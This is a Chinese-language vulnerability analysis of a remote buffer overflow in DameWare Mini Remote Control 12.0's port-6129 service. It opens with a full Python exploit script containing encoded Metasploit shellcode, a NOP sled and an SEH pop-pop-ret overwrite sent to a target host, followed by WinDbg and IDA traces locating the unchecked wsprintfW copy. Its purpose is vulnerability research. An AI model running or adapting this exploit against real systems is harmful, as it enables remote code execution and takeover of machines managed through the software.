作者:k0shl 转载请注明出处
漏洞说明
软件版本是DameWare Mini Remote Control 12.0,可以去网上搜索直接下载
PoC:
import socket
import sys
import os
import time
import struct
import binascii
import random
# windows/exec - 220 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
sc = ""
sc += "\xba\x01\xa8\x4f\x9e\xd9\xca\xd9\x74\x24\xf4\x5e\x29"
sc += "\xc9\xb1\x31\x31\x56\x13\x03\x56\x13\x83\xee\xfd\x4a"
sc += "\xba\x62\x15\x08\x45\x9b\xe5\x6d\xcf\x7e\xd4\xad\xab"
sc += "\x0b\x46\x1e\xbf\x5e\x6a\xd5\xed\x4a\xf9\x9b\x39\x7c"
sc += "\x4a\x11\x1c\xb3\x4b\x0a\x5c\xd2\xcf\x51\xb1\x34\xee"
sc += "\x99\xc4\x35\x37\xc7\x25\x67\xe0\x83\x98\x98\x85\xde"
sc += "\x20\x12\xd5\xcf\x20\xc7\xad\xee\x01\x56\xa6\xa8\x81"
sc += "\x58\x6b\xc1\x8b\x42\x68\xec\x42\xf8\x5a\x9a\x54\x28"
sc += "\x93\x63\xfa\x15\x1c\x96\x02\x51\x9a\x49\x71\xab\xd9"
sc += "\xf4\x82\x68\xa0\x22\x06\x6b\x02\xa0\xb0\x57\xb3\x65"
sc += "\x26\x13\xbf\xc2\x2c\x7b\xa3\xd5\xe1\xf7\xdf\x5e\x04"
sc += "\xd8\x56\x24\x23\xfc\x33\xfe\x4a\xa5\x99\x51\x72\xb5"
sc += "\x42\x0d\xd6\xbd\x6e\x5a\x6b\x9c\xe4\x9d\xf9\x9a\x4a"
sc += "\x9d\x01\xa5\xfa\xf6\x30\x2e\x95\x81\xcc\xe5\xd2\x7e"
sc += "\x87\xa4\x72\x17\x4e\x3d\xc7\x7a\x71\xeb\x0b\x83\xf2"
sc += "\x1e\xf3\x70\xea\x6a\xf6\x3d\xac\x87\x8a\x2e\x59\xa8"
sc += "\x39\x4e\x48\xcb\xdc\xdc\x10\x22\x7b\x65\xb2\x3a"
port = 6129
if len (sys.argv) == 2:
(progname, host ) = sys.argv
else:
print len (sys.argv)
print 'Usage: {0} host'.format (sys.argv[0])
exit (1)
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )
type = 444.0
buf = struct.pack("I", 4400 ) #Init Version
buf += "\xcc"*4
buf += struct.pack("d", type) #Minor Version
buf += struct.pack("d", type) #Minor Version
buf += (40 - len(buf)) * "C"
csock.send(buf)
wstr = "\x90" * 0x10 #nop sled
wstr += sc #calc shellcode
wstr += "\x90" * (0x2ac - 0x10 - len(sc))
wstr += "\xeb\x06\xff\xff" #short jump forward
wstr += struct.pack("I", 0x00401161 ) #pop pop return gadget
wstr += "\x90" * 3 #nop
wstr += "\xe9\x6b\xfa\xff\xff" #short jump back to shellcode
wstr += "E" * 0xbc
wstr += ("%" + "\x00" + "c" + "\x00")*5
buf = struct.pack("I", 0x9c44) #msg type
buf += wstr #payload
buf += "\x00" * (0x200) #null bytes
csock.send(buf)
print binascii.hexlify(csock.recv(0x4000)) #necessary reads
print binascii.hexlify(csock.recv(0x4000))
csock.close()
测试环境:
windows xp sp3
IDA pro
Windbg
测试过程中,可以将PoC中的shellcode部分替换成junk,比如大量的A,确保崩溃时可以较容易的回溯到漏洞位置。
运行DameWare Mini Control 12.0,会看到DameWare开启了6129端口,通过PoC向6129端口发送畸形数据,引发异常。
漏洞复现
DameWare是一款强大的远控软件,用于管理大量主机设备,基于Windows NT,安装完成后,C:/WINDOWS下会生成一个dwsc的文件,其中,当DameWare服务安装完成后,会开启6129端口,此漏洞就存在于6129端口的DWSC.EXE服务中。
DWSC.EXE中有一段处理接收数据的算法逻辑,逻辑中会调用wprintf处理接收数据,但在处理buffer的过程中,没有对buffer的长度进行有效的控制,从而导致了缓冲区溢出的发生,通过构造发送payload,可反控远控主机,下面对此漏洞进行详细分析。
首先Windbg附加服务,执行payload,程序崩溃,捕捉异常点,到达漏洞现场。
0:013> g
(abc.424): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01464545 ebx=0000000a ecx=0000d0d0 edx=00000000 esi=01470000 edi=0146ad66
eip=77d1aa0e esp=0146ad24 ebp=0146ad70 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll -
USER32!wvsprintfW+0x3d:
77d1aa0e 668906 mov word ptr [esi],ax ds:0023:01470000=????
程序中断在user32.dll的wvsprintf函数中,明显现在没有处于主函数领空,通过kb回溯对战调用。
0:013> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0146ad70 77d1a9ca 0146f94c 0146fb54 0146ad94 USER32!wvsprintfW+0x3d
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\dwrcs\DWRCS.EXE -
0146ad84 00423909 0146f94c 0146fb54 0146b0d8 USER32!wsprintfW+0x14
0146ad88 0146f94c 0146fb54 0146b0d8 04780058 DWRCS+0x23909
0146ad8c 0146fb54 0146b0d8 04780058 7c930208 0x146f94c
0146f94c 00200065 00650064 006b0073 006f0074 0x146fb54
0146f950 00650064 006b0073 006f0074 00200070 0x200065
0146fa8c f6faa501 81952e30 7ed2e5cc 1772a487 0x9d4a9af9
0146fa90 81952e30 7ed2e5cc 1772a487 7ac73d4e 0xf6faa501
0146fa94 7ed2e5cc 1772a487 7ac73d4e 830beb71 0x81952e30
0146fa98 1772a487 7ac73d4e 830beb71 70f31ef2 0x7ed2e5cc
0146fa9c 7ac73d4e 830beb71 70f31ef2 3df66aea 0x1772a487
0146faa0 830beb71 70f31ef2 3df66aea 2e8a87ac 0x7ac73d4e
0146faa4 70f31ef2 3df66aea 2e8a87ac 4e39a859 0x830beb71
0146faa8 3df66aea 2e8a87ac 4e39a859 dcdccb48 0x70f31ef2
0146faac 2e8a87ac 4e39a859 dcdccb48 657b2210 0x3df66aea
0146fab0 4e39a859 dcdccb48 657b2210 90903ab2 0x2e8a87ac
0146fab4 dcdccb48 657b2210 90903ab2 90909090 0x4e39a859
0146fab8 657b2210 90903ab2 90909090 90909090 0xdcdccb48
0146fabc 90903ab2 90909090 90909090 90909090 0x657b2210
0146fac0 90909090 90909090 90909090 90909090 0x90903ab2
0146fac4 90909090 90909090 90909090 90909090 0x90909090
0146fac8 90909090 90909090 90909090 90909090 0x90909090
0146facc 90909090 90909090 90909090 90909090 0x90909090
可以看到00423909地址位置处于主函数领空,除此之外往后的堆栈调用已经被畸形字符串覆盖,这些畸形字符串正是发送的payload部分,0146fac4的0x90909090之上的位置正是shellcode。
这里要稍微解释一下,因为原PoC所对应的操作版本不同,偏移也有所不同,这样触发异常的位置也不同,因此没有执行shellcode。
那么我就从00423909这个主程序领空的指令入手分析整个漏洞的成因。
漏洞分析
在回溯过程中,我观察了程序上下文,发现了在进入00423909函数之前,并没有调用其他函数的痕迹,在00423909指令所处函数中,我找到了一个函数块loc_42385B,下面来看一下这个块。
.text:0042385B loc_42385B: ; CODE XREF: sub_423570+12Fj
.text:0042385B ; DATA XREF: .text:off_423F74_x0019_o
.text:0042385B push 430h ; jumptable 0042369F case 40004
.text:00423860 lea ecx, [esp+51E0h+var_4EA4]
.text:00423867 push ecx ; buf
.text:00423868 mov ecx, esi
.text:0042386A mov [esp+51E4h+var_4EA8], eax
.text:00423871 call sub_40E0B0
.text:00423876 test eax, eax
.text:00423878 jz loc_423F0D
.text:0042387E cmp dword_4AB6B0, ebx
.text:00423884 jz loc_423F1D
.text:0042388A cmp ebp, ebx
.text:0042388C jz loc_423ED2 ; jumptable 0042369F default case
.text:00423892 push 206h ; size_t
.text:00423897 lea eax, [esp+51E0h+var_626]
.text:0042389E xor edx, edx
.text:004238A0 push ebx ; int
.text:004238A1 push eax ; void *
.text:004238A2 mov [esp+51E8h+String], dx
.text:004238AA call _memset
.text:004238AF push 206h ; size_t
.text:004238B4 lea edx, [esp+51ECh+var_41E]
.text:004238BB xor ecx, ecx
.text:004238BD push ebx ; int
.text:004238BE push edx ; void *
.text:004238BF mov [esp+51F4h+var_420], cx
.text:004238C7 call _memset
.text:004238CC mov ecx, hModule
.text:004238D2 add esp, 18h
.text:004238D5 push 104h
.text:004238DA lea eax, [esp+51E0h+var_420]
.text:004238E1 push eax
.text:004238E2 push 11h
.text:004238E4 push ecx
.text:004238E5 call off_4A2A24
首先值得关注的是004238AA和004238C7两个地址调用到的memset函数,在这两个地址下断点,重新附加Windbg进行跟踪。
0:013> bp 4238aa
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\dwrcs\DWRCS.EXE -
0:013> bl
0 e 004238aa 0001 (0001) 0:**** DWRCS+0x238aa
0:013> g
Breakpoint 0 hit
eax=0176f94e ebx=00000000 ecx=00161c88 edx=00000000 esi=01c73388 edi=009abdb0
eip=004238aa esp=0176ad8c ebp=009a4d90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DWRCS+0x238aa:
004238aa e801ea0300 call DWRCS+0x622b0 (004622b0)
我先对memset函数进行一个简要说明,一共三个参数,第一个参数为指定的缓冲区,第二个参数为覆盖内容,第三个参数为覆盖长度,下面来看一下到达这处call调用时候的参数情况。
0:013> dd esp
0176ad8c 0176f94e 00000000 00000206
这是一处初始化的memeset操作,会对0176f94e开辟的缓冲区进行初始化,覆盖值为0,长度为206h,接下来到达第二处call调用。
0:013> p
eax=0176f94e ebx=00000000 ecx=00000000 edx=0176fb56 esi=01c73388 edi=009abdb0
eip=004238be esp=0176ad84 ebp=009a4d90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DWRCS+0x238be:
004238be 52 push edx
0:013> p
eax=0176f94e ebx=00000000 ecx=00000000 edx=0176fb56 esi=01c73388 edi=009abdb0
eip=004238bf esp=0176ad80 ebp=009a4d90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DWRCS+0x238bf:
004238bf 66898c24d44d0000 mov word ptr [esp+4DD4h],cx ss:0023:0176fb54=0000
0:013> p
eax=0176f94e ebx=00000000 ecx=00000000 edx=0176fb56 esi=01c73388 edi=009abdb0
eip=004238c7 esp=0176ad80 ebp=009a4d90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DWRCS+0x238c7:
004238c7 e8e4e90300 call DWRCS+0x622b0 (004622b0)
这也是一处memset函数调用,查看一下参数情况。
0:013> dd esp
0176ad80 0176fb56 00000000 00000206
这次初始化的是0176ad80缓冲区,初始化结束后,会调用一个off_4A2A24函数,这个函数由于是定义在程序中,所以这里只是一处偏移,但不影响分析,来看一下两个memset后的函数内容。
.text:004238D5 push 104h
.text:004238DA lea eax, [esp+51E0h+var_420]
.text:004238E1 push eax
.text:004238E2 push 11h
.text:004238E4 push ecx
.text:004238E5 call off_4A2A24
其实这里调用到的是LoadStringW函数,跟入off_4A2A24函数中,通过IDA可以看到这里的伪代码。
int sub_4599A1()
{
sub_45A64A("user32.dll", (int)"LoadStringW", &off_4A2A24, dword_4B0AB4, (LONG)sub_45AAC9);
return ((int (*)(void))off_4A2A24)();
}
关于LoadStringW的函数类型如下,这个函数主要是从资源中根据资源标记,读取对应的字符串。
WINUSERAPI int WINAPI LoadStringA(
__in_opt HINSTANCE hInstance,
__in UINT uID,
__out_ecount(cchBufferMax) LPSTR lpBuffer,
__in int nBufferMax);
参数1: hInstance是应用程序实例句柄。
参数2: uID是资源中的字符串编号。
参数3: lpBuffer是接收从资源里拷贝字符串出来的缓冲区。
参数4: nBufferMax是指明缓冲的大小。
函数执行完毕后,可查看一下读取的内容。
0:013> dc 0176fb54 l100
0176fb54 00680054 00200065 00650064 006b0073 T.h.e. .d.e.s.k.
0176fb64 006f0074 00200070 00730075 00720065 t.o.p. .u.s.e.r.
0176fb74 00640020 00730069 006f0063 006e006e .d.i.s.c.o.n.n.
0176fb84 00630065 00650074 00200064 00680074 e.c.t.e.d. .t.h.
0176fb94 00200065 00650073 00730073 006f0069 e. .s.e.s.s.i.o.
0176fba4 0020006e 00690076 00200061 00680074 n. .v.i.a. .t.h.
0176fbb4 00200065 0052004d 00200043 00720054 e. .M.R.C. .T.r.
0176fbc4 00790061 006d0020 006e0065 000d0075 a.y. .m.e.n.u...
0176fbd4 0055000a 00650073 00490072 003a0044 ..U.s.e.r.I.D.:.
0176fbe4 00250020 00000073 00000000 00000000 .%.s...........
读取的是The Desk top user disconnected the session via the MRC Tray menu UserID %s 这个字符串非常重要,接下来继续单步执行,到达漏洞触发前的位置。
0:013> p
eax=0000004b ebx=00000000 ecx=00000000 edx=0176b0d8 esi=01c73388 edi=009abdb0
eip=004238f2 esp=0176ad98 ebp=009a4d90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DWRCS+0x238f2:
004238f2 52 push edx
0:013> p
eax=0000004b ebx=00000000 ecx=00000000 edx=0176b0d8 esi=01c73388 edi=009abdb0
eip=004238f3 esp=0176ad94 ebp=009a4d90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DWRCS+0x238f3:
004238f3 8d8424c04d0000 lea eax,[esp+4DC0h]
0:013> p
eax=0176fb54 ebx=00000000 ecx=00000000 edx=0176b0d8 esi=01c73388 edi=009abdb0
eip=004238fa esp=0176ad94 ebp=009a4d90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DWRCS+0x238fa:
004238fa 50 push eax
0:013> p
eax=0176fb54 ebx=00000000 ecx=00000000 edx=0176b0d8 esi=01c73388 edi=009abdb0
eip=004238fb esp=0176ad90 ebp=009a4d90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DWRCS+0x238fb:
004238fb 8d8c24bc4b0000 lea ecx,[esp+4BBCh]
0:013> p
eax=0176fb54 ebx=00000000 ecx=0176f94c edx=0176b0d8 esi=01c73388 edi=009abdb0
eip=00423902 esp=0176ad90 ebp=009a4d90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DWRCS+0x23902:
00423902 51 push ecx
0:013> p
eax=0176fb54 ebx=00000000 ecx=0176f94c edx=0176b0d8 esi=01c73388 edi=009abdb0
eip=00423903 esp=0176ad8c ebp=009a4d90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DWRCS+0x23903:
00423903 ff15542a4a00 call dword ptr [DWRCS!CoInitializeEx+0x28ea4 (004a2a54)] ds:0023:004a2a54={USER32!wsprintfW (77d1a9b6)}
到达00423903的位置,可以看到这里调用了wsprintfW函数,查看一下参数情况。
0:013> dd esp
0176ad8c 0176f94c 0176fb54 0176b0d8 1154f6eb
0176ad9c 7c930208 009ad0d0 0176ffa8 009ad0d0
0176adac 01c73388 00009c44 00000000 00000000
0176adbc 00000000 00000000 00000000 00000000
0176adcc 00000000 00000000 00000000 00000000
0176addc 00000000 00000000 00000000 00000000
0176adec 00000000 00000000 00000000 00000000
0176adfc 00000000 00000000 00000000 00000000
根据wsprintfW的函数特性,0176f94c是待拷贝的缓冲区,之前初始化提到,0176fb54是要拷贝的内容,这个地址的值之前提到过,而那个字符串里存在一个%s,也就是说涉及到第三个值0176b0d8缓冲区的值,那么0176b0d8缓冲区中的值内容是多少呢。
0:013> dc 0176b0d8 l1000
0176b0d8 90909090 90909090 4fa801ba d9cad99e ...........O....
0176b0e8 5ef42474 31b1c929 03135631 ee831356 t$.^)..11V..V...
0176b0f8 62ba4afd 9b450815 7ecf6de5 0babadd4 .J.b..E..m.~....
0176b108 5ebf1e46 4aedd56a 7c399bf9 b31c114a F..^j..J..9|J...
0176b118 d25c0a4b 34b151cf 35c499ee 6725c737 K.\..Q.4...57.%g
0176b128 989883e0 1220de85 c720cfd5 5601eead ...... ... ....V
0176b138 5881a8a6 428bc16b f842ec68 28549a5a ...Xk..Bh.B.Z.T(
0176b148 15fa6393 5102961c ab71499a 6882f4d9 .c.....Q.Iq....h
0176b158 6b0622a0 57b0a002 132665b3 7b2cc2bf .".k...W.e&...,{
0176b168 f7e1d5a3 d8045edf fc232456 a54afe33 .....^..V$#.3.J.
0176b178 b5725199 bdd60d42 9c6b5a6e 9af99de4 .Qr.B...nZk.....
0176b188 a5019d4a 2e30f6fa e5cc8195 a4877ed2 J.....0......~..
0176b198 3d4e1772 eb717ac7 1ef2830b 6aea70f3 r.N=.zq......p.j
0176b1a8 87ac3df6 a8592e8a cb484e39 2210dcdc .=....Y.9NH...."
0176b1b8 3ab2657b 90909090 90909090 90909090 {e.:............
0176b1c8 90909090 90909090 90909090 90909090 ................
0176b1d8 90909090 90909090 90909090 90909090 ................
0176b1e8 90909090 90909090 90909090 90909090 ................
0176b1f8 90909090 90909090 90909090 90909090 ................
0176b208 90909090 90909090 90909090 90909090 ................
0176b218 90909090 90909090 90909090 90909090 ................
0176b228 90909090 90909090 90909090 90909090 ................
0176b238 90909090 90909090 90909090 90909090 ................
0176b248 90909090 90909090 90909090 90909090 ................
0176b258 90909090 90909090 90909090 90909090 ................
0176b268 90909090 90909090 90909090 90909090 ................
0176b278 90909090 90909090 90909090 90909090 ................
0176b288 90909090 90909090 90909090 90909090 ................
正是畸形字符串,紧接着执行到漏洞位置。
0:013> p
eax=0176fb54 ebx=00000000 ecx=0176f94c edx=0176b0d8 esi=01c73388 edi=009abdb0
eip=00423903 esp=0176ad8c ebp=009a4d90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
DWRCS+0x23903:
00423903 ff15542a4a00 call dword ptr [DWRCS!CoInitializeEx+0x28ea4 (004a2a54)] ds:0023:004a2a54={USER32!wsprintfW (77d1a9b6)}
0:013> p
(4a8.570): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01764545 ebx=0000000a ecx=0000d0d0 edx=00000000 esi=01770000 edi=0176ad66
eip=77d1aa0e esp=0176ad24 ebp=0176ad70 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
USER32!wvsprintfW+0x3d:
77d1aa0e 668906 mov word ptr [esi],ax ds:0023:01770000=????
查看一下待拷贝的区域。
0:013> dc 0176f94c l100
0176f94c 00680054 00200065 00650064 006b0073 T.h.e. .d.e.s.k.
0176f95c 006f0074 00200070 00730075 00720065 t.o.p. .u.s.e.r.
0176f96c 00640020 00730069 006f0063 006e006e .d.i.s.c.o.n.n.
0176f97c 00630065 00650074 00200064 00680074 e.c.t.e.d. .t.h.
0176f98c 00200065 00650073 00730073 006f0069 e. .s.e.s.s.i.o.
0176f99c 0020006e 00690076 00200061 00680074 n. .v.i.a. .t.h.
0176f9ac 00200065 0052004d 00200043 00720054 e. .M.R.C. .T.r.
0176f9bc 00790061 006d0020 006e0065 000d0075 a.y. .m.e.n.u...
0176f9cc 0055000a 00650073 00490072 003a0044 ..U.s.e.r.I.D.:.
0176f9dc 90900020 90909090 01ba9090 d99e4fa8 ............O..
0176f9ec 2474d9ca c9295ef4 563131b1 13560313 ..t$.^)..11V..V.
0176f9fc 4afdee83 081562ba 6de59b45 add47ecf ...J.b..E..m.~..
0176fa0c 1e460bab d56a5ebf 9bf94aed 114a7c39 ..F..^j..J..9|J.
0176fa1c 0a4bb31c 51cfd25c 99ee34b1 c73735c4 ..K.\..Q.4...57.
0176fa2c 83e06725 de859898 cfd51220 eeadc720 %g...... ... ...
0176fa3c a8a65601 c16b5881 ec68428b 9a5af842 .V...Xk..Bh.B.Z.
0176fa4c 63932854 961c15fa 499a5102 f4d9ab71 T(.c.....Q.Iq...
0176fa5c 22a06882 a0026b06 65b357b0 c2bf1326 .h.".k...W.e&...
0176fa6c d5a37b2c 5edff7e1 2456d804 fe33fc23 ,{.....^..V$#.3.
0176fa7c 5199a54a 0d42b572 5a6ebdd6 9de49c6b J..Qr.B...nZk...
0176fa8c 9d4a9af9 f6faa501 81952e30 7ed2e5cc ..J.....0......~
0176fa9c 1772a487 7ac73d4e 830beb71 70f31ef2 ..r.N=.zq......p
0176faac 3df66aea 2e8a87ac 4e39a859 dcdccb48 .j.=....Y.9NH...
0176fabc 657b2210 90903ab2 90909090 90909090 ."{e.:..........
0176facc 90909090 90909090 90909090 90909090 ................
0176fadc 90909090 90909090 90909090 90909090 ................
0176faec 90909090 90909090 90909090 90909090 ................
0176fafc 90909090 90909090 90909090 90909090 ................
0176fb0c 90909090 90909090 90909090 90909090 ................
0176fb1c 90909090 90909090 90909090 90909090 ................
原来的%s已经被畸形字符串覆盖了,通过IDA来看一下这一段的函数逻辑。
if ( v1 )
{
String = 0;
memset(&v70, 0, 0x206u);
v71 = 0;
memset(&v72, 0, 0x206u);
((void (__stdcall *)(HMODULE, signed int, __int16 *, signed int))off_4A2A24)(hModule, 17, &v71, 260);
((void (__cdecl *)(WCHAR *, __int16 *, char *))off_4A2A54)(&String, &v71, &v63);
int sub_4599A1()
{
sub_45A64A("user32.dll", (int)"LoadStringW", &off_4A2A24, dword_4B0AB4, (LONG)sub_45AAC9);
return ((int (*)(void))off_4A2A24)();
}
由此可见,v70为大小为206h的缓冲区,v72也是大小为206的缓冲区,而在LoadString中,会读取下面要用到的v71,最后在wsprintf中,由于对v63没有进行严格的控制,导致v63拷贝至String时,发生了缓冲区溢出,从而可以远程执行代码,反控远控主机。